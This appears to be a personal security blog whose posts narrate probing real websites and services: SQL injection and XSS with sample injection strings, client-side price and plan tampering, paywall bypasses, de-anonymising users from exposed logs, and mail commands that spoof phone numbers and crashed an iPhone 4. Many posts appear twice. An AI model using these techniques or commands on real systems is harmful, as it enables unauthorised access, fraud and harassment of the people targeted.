This blog is about the educational (and sometimes entertainment) value of simple hacks. For active vulnerabilities, real names are concealed.
Wednesday, May 23, 2018
Low-Tech Random Number Generator Hacks
This is a fun one and doesn't require any programming knowledge or high tech.
Many systems rely on random number generators. They are typically found in games to create the environment's seemingly random behavior. But because random number generators start with a "seed" (a static number the pseudorandom algorithm starts with) it's pretty easy to predict what the next "random" action will be if the generator is restarted. The key is figuring out what triggers the generator's algorithm to restart. Within the context of a game, this might mean restarting a level puts all the enemies back in the same place... but what about other systems?
Years ago, I was a volunteer in a medical study related to measuring sleep deprivation. As part of the experiment, there was a cognitive test for reaction time (which helped the doctor measure how quality of sleep affected alertness... spoiler: it affects it quite a lot!). To perform the test, the user sits in front of a monitor and presses a button if they see a red dot appear on the screen. The dot, of course, appears at random intervals. However, I noticed if I accidentally pressed the button when the screen was empty, the dot would always come up after the same amount of time after the mistaken press. It was clearly resetting the system in some way. If I counted a few beats after my 'mistaken' press, I could predict when the dot would show up next. This was enough to rig it so I could react before even seeing the dot and get a perfect, superhuman reaction time score as a result: do a 'mistaken' press, wait, press, see red dot, repeat. After doing this for a few days, an annoyed researcher approached me:
"We're getting some impossible results... can you please try to stop doing what you're doing? Only press when you see the red dot? Thanks."
That's what he said, but his face said, "Stop messing around."
The study had a lot of control variables. For example, I wasn't allowed to have windows, computers, phones, live TV or clocks (to make sure my perception of time wasn't affecting how tired I felt). They suspected I was trying to count time because the IV drip had a "drips per second" metric on the display, and covered it with tape.
I do not recommend messing up the integrity of someone's scientific research just to try this out... but it seems that random number generators show up in lots of places that aren't games. It turns out they are so easy to hack, you just might do it by accident!
Sunday, April 1, 2018
Basic SQL Injection and XSS : OWASP Juice Shop and Beyond!
I've been learning how to use Burp Suite to speed up things I used to script. It's not a complete replacement for all projects (see my previous post about about shuffling MMS messages around, or polling scripts to alert me to changes in an upload folder, for example) but it's fantastic so far. A wonderful place to test has been OWASP Juice Shop, an intentionally vulnerable Javascript-based site, which has a score board for the various vulnerabilities found by its users.
One challenge was to find a hidden language file. It was easy to find the directory where the other language files were kept (and thus get the format of the file name, es_ES.json), but significantly more difficult to automate iterating over 4000 or more known language codes such as cs_CZ or es_ES to wait for a 200 OK status to come back. I would have normally used a Python script here, but it could be tried in Burp Suite's "repeater" tool instead by loading the language codes into a payload and then running a custom packet (although, maybe not: the tricky part would be in the case of fictional languages that may not have a country code associated with it, so random 2-letter combinations may be brute forced faster with a script. Not sure - let me know in the comments if there's a Burp Suite way instead).
Long story short, Juice Shop is great practice tool... but what about other sites?
One hotel's reservation page can be edited so that it charges an incorrect room rate. This happens by editing two variables; one javascript variable for islovelyrate can be set to true, and, likewise, the lovelyrate variable can be set to any number. The islovelyrate variable forces a recalculation of the price just before the payment page, which then uses whatever rate amount the client-side code provided. There may be further server-side validation to prevent the bad amount from going through, but I stopped short of entering payment information, so I don't know.
This one is full of fascinating issues. It is vulnerable to SQL injection, and has verbose SQL and PHP errors, which lead to finding the publicly readable directories where the .php files are stored. This included old copies of the PHP scripts, labeled as "reserve.php OLD" as opposed to "reserve.php". Because the file extension wasn't .php, the server allowed me to download and view the code in the old copies, instead of executing the PHP. It turns out that the old code must be very similar to the new version, because it was vulnerable to the same attacks that the old one was. The scripts included parameter names for PHP session variables, full SQL queries, other directories on the server, etc. Luckily no credentials were hard coded. Errors from trying to run PHP scripts as one-offs lead to more verbose errors which lead to several more readable directories with PHP scripts, including the admin section, and scripts for sending SMS to guests from the site (which functioned, as demonstrated with a temporary phone number). There was little to no input validation, so the product could be reserved for dates with a sooner start date than ending date, causing the product's final cost to be calculated as 0.00. Additionally, there were no upper bounds on date, so trying to get a quote for Dec 1, 1500 to Dec 1, 2020 seemed to cause a soft crash for a little while.
This site's one saving grace is that it did not allow me to upload my own file to one of these seemingly wide-open directories, despite the HTTP OPTIONS request returning POST. However, with a little more effort, I'm almost positive there would be a way to.
This one was unusual. The SQL error returned revealed that the URL parameter passed to it was being used in various parts of the query in different ways, sometimes as a part of a column name, table name, or in the where clause parameter itself. I don't think I've ever seen that before, and at first, it was difficult to see how to SQL inject something like this. It was interesting that there were a lot of joins in the query, which showed a lot of table names. Other pages where more easily SQL injectable (with things like ‘ or ‘1’=‘1 (I couldn’t escape the end of the query with a - - comment, so I used the ending apostrophe). On one of these pages with a simpler query, I was able to SQL inject with a UNION which returned a different table's data (despite it only being designed to return one value, it luckily listed all of them). I got a privilege error when my output command failed to write the results to a file (which is okay because it was already displaying multiple results), but that gave me the current database user's account name.
A simple XSS attack worked in the search box of the site, mainly because it caused a SQL error which then executed the contents of the <script> tag when it displayed. I wonder if I would be able to insert the script tag so it would persist in the database, and execute for other users.
One challenge was to find a hidden language file. It was easy to find the directory where the other language files were kept (and thus get the format of the file name, es_ES.json), but significantly more difficult to automate iterating over 4000 or more known language codes such as cs_CZ or es_ES to wait for a 200 OK status to come back. I would have normally used a Python script here, but it could be tried in Burp Suite's "repeater" tool instead by loading the language codes into a payload and then running a custom packet (although, maybe not: the tricky part would be in the case of fictional languages that may not have a country code associated with it, so random 2-letter combinations may be brute forced faster with a script. Not sure - let me know in the comments if there's a Burp Suite way instead).
Long story short, Juice Shop is great practice tool... but what about other sites?
Hotel Rate and Hidden Variables
One hotel's reservation page can be edited so that it charges an incorrect room rate. This happens by editing two variables; one javascript variable for islovelyrate can be set to true, and, likewise, the lovelyrate variable can be set to any number. The islovelyrate variable forces a recalculation of the price just before the payment page, which then uses whatever rate amount the client-side code provided. There may be further server-side validation to prevent the bad amount from going through, but I stopped short of entering payment information, so I don't know.
Rental Site - SQLi, PHP
This one is full of fascinating issues. It is vulnerable to SQL injection, and has verbose SQL and PHP errors, which lead to finding the publicly readable directories where the .php files are stored. This included old copies of the PHP scripts, labeled as "reserve.php OLD" as opposed to "reserve.php". Because the file extension wasn't .php, the server allowed me to download and view the code in the old copies, instead of executing the PHP. It turns out that the old code must be very similar to the new version, because it was vulnerable to the same attacks that the old one was. The scripts included parameter names for PHP session variables, full SQL queries, other directories on the server, etc. Luckily no credentials were hard coded. Errors from trying to run PHP scripts as one-offs lead to more verbose errors which lead to several more readable directories with PHP scripts, including the admin section, and scripts for sending SMS to guests from the site (which functioned, as demonstrated with a temporary phone number). There was little to no input validation, so the product could be reserved for dates with a sooner start date than ending date, causing the product's final cost to be calculated as 0.00. Additionally, there were no upper bounds on date, so trying to get a quote for Dec 1, 1500 to Dec 1, 2020 seemed to cause a soft crash for a little while.
This site's one saving grace is that it did not allow me to upload my own file to one of these seemingly wide-open directories, despite the HTTP OPTIONS request returning POST. However, with a little more effort, I'm almost positive there would be a way to.
Organization - XSS, SQLi
This one was unusual. The SQL error returned revealed that the URL parameter passed to it was being used in various parts of the query in different ways, sometimes as a part of a column name, table name, or in the where clause parameter itself. I don't think I've ever seen that before, and at first, it was difficult to see how to SQL inject something like this. It was interesting that there were a lot of joins in the query, which showed a lot of table names. Other pages where more easily SQL injectable (with things like ‘ or ‘1’=‘1 (I couldn’t escape the end of the query with a - - comment, so I used the ending apostrophe). On one of these pages with a simpler query, I was able to SQL inject with a UNION which returned a different table's data (despite it only being designed to return one value, it luckily listed all of them). I got a privilege error when my output command failed to write the results to a file (which is okay because it was already displaying multiple results), but that gave me the current database user's account name.
A simple XSS attack worked in the search box of the site, mainly because it caused a SQL error which then executed the contents of the <script> tag when it displayed. I wonder if I would be able to insert the script tag so it would persist in the database, and execute for other users.
Labels:
brute force,
burp suite,
directory fuzzing,
JavaScript,
Python,
scripting,
sms,
SQL injection,
XSS
Sunday, March 18, 2018
Spoofing MMS and Crashing iPhone 4
Around 2013, I exclusively used Google Voice. It seemed silly that telecom companies would only offer phone plans that charged separately for data, voice, and messaging or even just messaging and voice (minutes) when it could all just be sent over data (see previous post about creating a data-only phone plan). The only problem I had with it was that Google Voice didn't support MMS (although I'm happy to say that, as of 2018, they do now).
But could there be a way to force it? I gave it a shot. Overall, it was pretty hacked together, but I was able to receive a photo at my phone, and I could send a photo to a phone from an email client on my phone. This is how it worked: I used an email server (that comes with Linux by default) and wrote a script to route MMS messages across the email account, spoofing the phone number so that responses to the text would be sent back to the phone. After all, an MMS or SMS is basically just an email protocol. Look at the structure of an SMS address:
5558675309@txt.att.net
The first part is your phone number, and the part after the @ is the name of the phone company's SMS server (in this case, AT&T, but you can google the name of yours).
One you know your phone's SMS address, you can use it as part of a call to the email program. In the command line, it's just called mail:
echo "hey girl hey" | mail -v 5551118888@txt.att.net -F 5558675309@txt.att.net -f ConanOBrien
This will send mail to the 111-8888 number, and make it look like it was sent from the 867-5309 number (or "ConanOBrien"). Check the man page for "mail" for more information. Note that if you are testing by using an email address as a target, some email servers (such as an organization using gmail) will blacklist spoofed messages, because that obviously comes off as pretty sketchy. Additionally, don't expect too much privacy if you try to go through a temporary email service, especially one with a public facing inbox like Mailinator. If the user has a way to view the traffic it could show a lot of private details like the host name of your local machine:
Received: from [MY LOCAL DOMAIN] ([MY HOSTNAME] [MY IP])
by [MAILSPAMMER SITE] with SMTP (Postfix)
for [INBOX NAME]@mailinator.com;
Sat, 04 Jan 2014 10:26:39 -0800 (PST)
Received: by [MYCOMPUTER LOCAL DOMAIN] (Postfix, from userid 123)
id 49C1AEEAAEE; Sat, 4 Jan 2014 13:39:14 -0500 (EST)
To: [MAILSPAMMER SITE]
Subject: subject
Date: Sat, 4 Jan 2014 13:39:14 -0500 (EST)
From: [MYPHONENUMBER]@[PROTOCOL].[CARRIER DOMAIN GATEWAY] ([MYPHONENUMBER]@[PROTOCOL].[CARRIER DOMAIN GATEWAY])
Sender: [MYPHONENUMBER]@[PROTOCOL].[CARRIER DOMAIN GATEWAY]
x-connecting-ip: [MY IP]
x-received-time: 1782851999324
MIME-Version: 1.0
Yikes. Anyway, during this course of this project, I had to attach a photo to an SMS message. One way caused problems for the target (it crashed an iPhone 4):
uuencode little_kitten.JPG little_kitten.JPG | mail -s "Can you see an adorable cat (mms)?" 55511188888@txt.att.net -F "Burninator" -r "5558675309@txt.att.net"
(or possibly MMS.att.net instead of TXT.att.net)
Oops... who knew such an adorable cat picture could crash your phone. It was a text bomb. This sent a lot of bizarre characters to the phone, and I'm honestly not sure if it was because of the amount of data that was being interpreted as text (instead of an image) or if one of those unencoded characters was the cause of the crash (perhaps similar to a problem from last month where a unicode symbol was crashing iPhones).
But could there be a way to force it? I gave it a shot. Overall, it was pretty hacked together, but I was able to receive a photo at my phone, and I could send a photo to a phone from an email client on my phone. This is how it worked: I used an email server (that comes with Linux by default) and wrote a script to route MMS messages across the email account, spoofing the phone number so that responses to the text would be sent back to the phone. After all, an MMS or SMS is basically just an email protocol. Look at the structure of an SMS address:
5558675309@txt.att.net
The first part is your phone number, and the part after the @ is the name of the phone company's SMS server (in this case, AT&T, but you can google the name of yours).
One you know your phone's SMS address, you can use it as part of a call to the email program. In the command line, it's just called mail:
echo "hey girl hey" | mail -v 5551118888@txt.att.net -F 5558675309@txt.att.net -f ConanOBrien
This will send mail to the 111-8888 number, and make it look like it was sent from the 867-5309 number (or "ConanOBrien"). Check the man page for "mail" for more information. Note that if you are testing by using an email address as a target, some email servers (such as an organization using gmail) will blacklist spoofed messages, because that obviously comes off as pretty sketchy. Additionally, don't expect too much privacy if you try to go through a temporary email service, especially one with a public facing inbox like Mailinator. If the user has a way to view the traffic it could show a lot of private details like the host name of your local machine:
Received: from [MY LOCAL DOMAIN] ([MY HOSTNAME] [MY IP])
by [MAILSPAMMER SITE] with SMTP (Postfix)
for [INBOX NAME]@mailinator.com;
Sat, 04 Jan 2014 10:26:39 -0800 (PST)
Received: by [MYCOMPUTER LOCAL DOMAIN] (Postfix, from userid 123)
id 49C1AEEAAEE; Sat, 4 Jan 2014 13:39:14 -0500 (EST)
To: [MAILSPAMMER SITE]
Subject: subject
Date: Sat, 4 Jan 2014 13:39:14 -0500 (EST)
From: [MYPHONENUMBER]@[PROTOCOL].[CARRIER DOMAIN GATEWAY] ([MYPHONENUMBER]@[PROTOCOL].[CARRIER DOMAIN GATEWAY])
Sender: [MYPHONENUMBER]@[PROTOCOL].[CARRIER DOMAIN GATEWAY]
x-connecting-ip: [MY IP]
x-received-time: 1782851999324
MIME-Version: 1.0
Yikes. Anyway, during this course of this project, I had to attach a photo to an SMS message. One way caused problems for the target (it crashed an iPhone 4):
uuencode little_kitten.JPG little_kitten.JPG | mail -s "Can you see an adorable cat (mms)?" 55511188888@txt.att.net -F "Burninator" -r "5558675309@txt.att.net"
(or possibly MMS.att.net instead of TXT.att.net)
Oops... who knew such an adorable cat picture could crash your phone. It was a text bomb. This sent a lot of bizarre characters to the phone, and I'm honestly not sure if it was because of the amount of data that was being interpreted as text (instead of an image) or if one of those unencoded characters was the cause of the crash (perhaps similar to a problem from last month where a unicode symbol was crashing iPhones).
Saturday, November 22, 2014
Remove Required Portion of a Smartphone Data Plan
How to make a contract smartphone remove the required data plan using Faux-Ni-Phone Wireless’s website.
This hack is on a simple form for changing features in your cellular plan. Between the voice plan and data plan, there are so many options… and yet none, since they require you to have a data plan if you have a smart phone. Let’s see if this is enforced solely with client-side logic (hint: yes, it is). I'm going to go through the entire narrative of puzzling out how to do something like this. It's important to understand the thought process of a persistent attacker in order to plan against security issues.
Try #1 : Since one of the plans is selected by default in a group of radio buttons, let’s first find a way to deselect it, so that we simply don’t have to choose one to buy. Let’s try the easiest thing first. The typical selected=”false” on all the input elements didn’t work, so I move on. I’ll try again.
Try #2 : I change the values in the radio button that IS selected to dummy values, but it doesn’t update the total price. Fail. Hm. Apparently, changing the radio button state prompts it to change the total bill sum. Note that I’m not bothering to read the code that would confirm this, you can make some educated guesses based on the UI behavior. I’ll try again.
Try #3: I duplicate one of the input elements and then fill the values and id with dummy data, instead of sku0150033 or whatever it was. Then I select the dummy entry, and the bill is lowered! The data is no longer part of the total! However, when I go to check out, I get a message that ‘346456’ and ‘fasfsdgf’ do not exist in the system. Ok, so what DOES exist on the system? Apparently my keyboard smashing isn’t good enough since they’re doing some server-side validation, go figure. I never would have guessed by the quality of the rest of the site (which is forever breaking when exporting PDFs, or claiming permissions issues on links that disappear and reappear randomly - things like that). So, as usual, I’ll try again.
Try #4: Anyway, I go back to the form, and restart fresh. I create a dummy input element like I did before, only this time I make my dummy data a little smarter. I assume that it’s checking the format sku + 7 digits, and accepts it directly from the UI (very dangerous: developers, never EVER do this). So, the new smart dummy data will be sku0000000. So I select my newly minted fake data plan, and checkout. The next page has no error! When it tells me to review my order, it doesn’t display anything so I figure something got pretty messed up (Well, really it says: ‘Please review your order and make sure everything looks correct.’ Well, it’s a blank box. Hmm. Yes, I decide that looks about right.) I hit continue. Then, there it is, all the final billing information – and the bill? Impossibly low, since it no longer includes the data plan! I get an email confirmation. Success!
I’m a white hat, I do not actually carry this out. I immediately cancel the order so that the company isn’t financially harmed. I never implement exploits that cause a business to lose money, no matter how outrageous it is that I can’t choose not to purchase and use part of my service. (Besides, it would be more useful to be the only phone with a data plan only and just stick with Google Voice, but ANYWAY, that’s a story for another day…)
So! What did we learn? Client side validation needs to be backed up with server-side validation, and not just for valid formats. The input should have bounds, only filtering the objects the user is allowed to select from.
I hope you enjoyed my new blogging format - I’m going to start listing my thought process instead of just the final result. Thanks for reading!
This hack is on a simple form for changing features in your cellular plan. Between the voice plan and data plan, there are so many options… and yet none, since they require you to have a data plan if you have a smart phone. Let’s see if this is enforced solely with client-side logic (hint: yes, it is). I'm going to go through the entire narrative of puzzling out how to do something like this. It's important to understand the thought process of a persistent attacker in order to plan against security issues.
Try #1 : Since one of the plans is selected by default in a group of radio buttons, let’s first find a way to deselect it, so that we simply don’t have to choose one to buy. Let’s try the easiest thing first. The typical selected=”false” on all the input elements didn’t work, so I move on. I’ll try again.
Try #2 : I change the values in the radio button that IS selected to dummy values, but it doesn’t update the total price. Fail. Hm. Apparently, changing the radio button state prompts it to change the total bill sum. Note that I’m not bothering to read the code that would confirm this, you can make some educated guesses based on the UI behavior. I’ll try again.
Try #3: I duplicate one of the input elements and then fill the values and id with dummy data, instead of sku0150033 or whatever it was. Then I select the dummy entry, and the bill is lowered! The data is no longer part of the total! However, when I go to check out, I get a message that ‘346456’ and ‘fasfsdgf’ do not exist in the system. Ok, so what DOES exist on the system? Apparently my keyboard smashing isn’t good enough since they’re doing some server-side validation, go figure. I never would have guessed by the quality of the rest of the site (which is forever breaking when exporting PDFs, or claiming permissions issues on links that disappear and reappear randomly - things like that). So, as usual, I’ll try again.
Try #4: Anyway, I go back to the form, and restart fresh. I create a dummy input element like I did before, only this time I make my dummy data a little smarter. I assume that it’s checking the format sku + 7 digits, and accepts it directly from the UI (very dangerous: developers, never EVER do this). So, the new smart dummy data will be sku0000000. So I select my newly minted fake data plan, and checkout. The next page has no error! When it tells me to review my order, it doesn’t display anything so I figure something got pretty messed up (Well, really it says: ‘Please review your order and make sure everything looks correct.’ Well, it’s a blank box. Hmm. Yes, I decide that looks about right.) I hit continue. Then, there it is, all the final billing information – and the bill? Impossibly low, since it no longer includes the data plan! I get an email confirmation. Success!
I’m a white hat, I do not actually carry this out. I immediately cancel the order so that the company isn’t financially harmed. I never implement exploits that cause a business to lose money, no matter how outrageous it is that I can’t choose not to purchase and use part of my service. (Besides, it would be more useful to be the only phone with a data plan only and just stick with Google Voice, but ANYWAY, that’s a story for another day…)
So! What did we learn? Client side validation needs to be backed up with server-side validation, and not just for valid formats. The input should have bounds, only filtering the objects the user is allowed to select from.
I hope you enjoyed my new blogging format - I’m going to start listing my thought process instead of just the final result. Thanks for reading!
Monday, October 14, 2013
"Security By Obscurity" means "NO Security"
Today I investigate Spiffy Co. , my nickname for a company that sells licensed, proprietary software. Their intention is to have only registered customers be able to log in to access downloads they've already paid for. Unfortunately, their paywall is very flimsy.
Checking out their robots.txt file, I noticed there was nothing blocking that particular directory (/downloads) from search engine crawlers to see it. So I search "insite [spiffyco.com]" to see what kind of view the public has. Though, it doesn't exactly return what I'm looking for, since it's just manuals in a directory below that directory. So I go to the manuals directory and try to navigate up to see if it will list a directory with downloads and ... nope, no listing. It returns me to the paywall.
At this point, I decide to guess. A pretty intuitive starting place seems to be /downloads/downloads/, since I guess that's what I would do if I were trying to organize the site. Behold, here are the list of .exes. Yep. Just by a guess, and thinking "how would I have done that?". No coding magic here!
Moral of story: Similar to the cheat-on-homework.net post below, you cannot count on directories without links to them to be secure links.
Disclaimer: It is illegal to install and use licensed software that you haven't paid for. Don't try this at home.
Checking out their robots.txt file, I noticed there was nothing blocking that particular directory (/downloads) from search engine crawlers to see it. So I search "insite [spiffyco.com]" to see what kind of view the public has. Though, it doesn't exactly return what I'm looking for, since it's just manuals in a directory below that directory. So I go to the manuals directory and try to navigate up to see if it will list a directory with downloads and ... nope, no listing. It returns me to the paywall.
At this point, I decide to guess. A pretty intuitive starting place seems to be /downloads/downloads/, since I guess that's what I would do if I were trying to organize the site. Behold, here are the list of .exes. Yep. Just by a guess, and thinking "how would I have done that?". No coding magic here!
Moral of story: Similar to the cheat-on-homework.net post below, you cannot count on directories without links to them to be secure links.
Disclaimer: It is illegal to install and use licensed software that you haven't paid for. Don't try this at home.
Saturday, August 10, 2013
Homework-help.net's Customer Identities
No, their real name is not homework-help.net.
It's one of many sites where students can get help with homework. They have a privacy policy. It's quite inaccurate. Improper permissions on their log file has made it easy to find out information about the students using the service.
Anyway, this is part of my investigation into a popular open source logging service. Searching for the log file's name and an IP address from a local university lead me to the log page from a few years ago, so I switched the date in the log title and sure enough it gave me this month's traffic information. The timestamps in the file names are predictable, because it is generated by the service.
The log file contains information like:
- search terms that lead to the site
- time ranges spent on the site
- IP addresses of visitors, what time the IP address accessed the site
- specific pages accessed
- referrer links
- browser, OS, etc. for each IP
- even window dimension
- etc.
What meta data can be obtained from these things? Not much, considering how often the data is logged. But because the logs were stored in a directory with read access as well (bad admin! NO! BAD!), there were timestamps on when the files were last modified. Then a script was written to go check up on the file once in a while to see the latest visitor (or at least subset of visitors for a few hours), and then map the timestamps within the file with others. Really, the jackpot only happens when you only get one new visitor in that time frame, so that all successive new data in the diff between the old and current log file can be applied to that one person. For example, even though no timestamps are associated with their web search terms, if there's only one new IP/person, they must have been the one to make the search. I'd like to experiment with this and make sure it's accurate, but the logic seems sound, and it worked for my purposes.
Anyway, this one new customer was interacting with a directory I couldn't navigate to from the log file directory. Of course I am instantly curious, because the directory's named something like /7df83kic. So I browse to that area, which also has public read permissions.
Whoa, buckets of uploaded user files! I check around on the site, and the only time you can upload an assignment is when you sign up for the service. What's more, these are the original documents, meaning all meta data is included, whether it be a .PDF, .doc, .docx etc. So in addition to the teacher's email, class name, university name, etc., there are, for example, the author names on the Microsoft Word licenses when you check out the properties. Or a username. (Random example from the interwebs on the left.)
The site's remediation plan was to change the name of the directory, but it would be much better to correct the file permissions (since the traffic log is still public and shows the new file upload location...)
Moral of Story: There are reasons Facebook caches photos that you upload, and that cached version is what gets displayed. All those little hidden bits of meta data (like facial-detection tags in Picasa and the names you've added) in that photo disappear when the picture is saved in a different format, compressed, what have you. Or, another interesting example is code hidden in pictures, but that's another story. In essence, don't use original upload data, and sanitize everything from form data to uploads.
UPDATE as of August 5 2018: there are a lot of other sites with this same vulnerability, where this particular logging library sets its log files to public by default. I recently came across another situation where the logs revealed someone unsuccessfully trying to use this appserv vulnerability (discussed here), by setting the URL parameter to appserv_root as malicioussite.com/attack.gif, a gif which presumably has some PHP in it that would be executed during the PHP include. Most of this was only visible in the 404 part of the log because the attacker was attempting the attack a few times with various typos.
It's one of many sites where students can get help with homework. They have a privacy policy. It's quite inaccurate. Improper permissions on their log file has made it easy to find out information about the students using the service.
Anyway, this is part of my investigation into a popular open source logging service. Searching for the log file's name and an IP address from a local university lead me to the log page from a few years ago, so I switched the date in the log title and sure enough it gave me this month's traffic information. The timestamps in the file names are predictable, because it is generated by the service.
The log file contains information like:
- search terms that lead to the site
- time ranges spent on the site
- IP addresses of visitors, what time the IP address accessed the site
- specific pages accessed
- referrer links
- browser, OS, etc. for each IP
- even window dimension
- etc.
What meta data can be obtained from these things? Not much, considering how often the data is logged. But because the logs were stored in a directory with read access as well (bad admin! NO! BAD!), there were timestamps on when the files were last modified. Then a script was written to go check up on the file once in a while to see the latest visitor (or at least subset of visitors for a few hours), and then map the timestamps within the file with others. Really, the jackpot only happens when you only get one new visitor in that time frame, so that all successive new data in the diff between the old and current log file can be applied to that one person. For example, even though no timestamps are associated with their web search terms, if there's only one new IP/person, they must have been the one to make the search. I'd like to experiment with this and make sure it's accurate, but the logic seems sound, and it worked for my purposes.
Anyway, this one new customer was interacting with a directory I couldn't navigate to from the log file directory. Of course I am instantly curious, because the directory's named something like /7df83kic. So I browse to that area, which also has public read permissions.

The site's remediation plan was to change the name of the directory, but it would be much better to correct the file permissions (since the traffic log is still public and shows the new file upload location...)
Moral of Story: There are reasons Facebook caches photos that you upload, and that cached version is what gets displayed. All those little hidden bits of meta data (like facial-detection tags in Picasa and the names you've added) in that photo disappear when the picture is saved in a different format, compressed, what have you. Or, another interesting example is code hidden in pictures, but that's another story. In essence, don't use original upload data, and sanitize everything from form data to uploads.
UPDATE as of August 5 2018: there are a lot of other sites with this same vulnerability, where this particular logging library sets its log files to public by default. I recently came across another situation where the logs revealed someone unsuccessfully trying to use this appserv vulnerability (discussed here), by setting the URL parameter to appserv_root as malicioussite.com/attack.gif, a gif which presumably has some PHP in it that would be executed during the PHP include. Most of this was only visible in the 404 part of the log because the attacker was attempting the attack a few times with various typos.
Saturday, July 27, 2013
Cilent Controlled Subscriber Content
Site, for this post I shall dub you fun-trails-for-hiking.com. Here is another case where paid subscriber content can be reached with some JavaScript tweaking. These happen often.
Here's the idea - they say you must be a premium subscriber to see a larger area of the map. Instead you change
<div id="trailBox" class="topoSml">
to
<div id="trailBox" class="topoLrg"> or <div id="trailBox" class="topoMed">
When coding on a team, it's really helpful to use descriptive variable names (wasn't it the author of "Clean Code" that said if your variable names work you don't need any comments explaining code?). No where else on the page are the words "topoLrg" or "topoMed", but because the site looks well put together and professional, it's reasonable to infer that the map sizes other than "small" or named similarly.
Here's the idea - they say you must be a premium subscriber to see a larger area of the map. Instead you change
<div id="trailBox" class="topoSml">
to
<div id="trailBox" class="topoLrg"> or <div id="trailBox" class="topoMed">
When coding on a team, it's really helpful to use descriptive variable names (wasn't it the author of "Clean Code" that said if your variable names work you don't need any comments explaining code?). No where else on the page are the words "topoLrg" or "topoMed", but because the site looks well put together and professional, it's reasonable to infer that the map sizes other than "small" or named similarly.
Subscribe to:
Posts (Atom)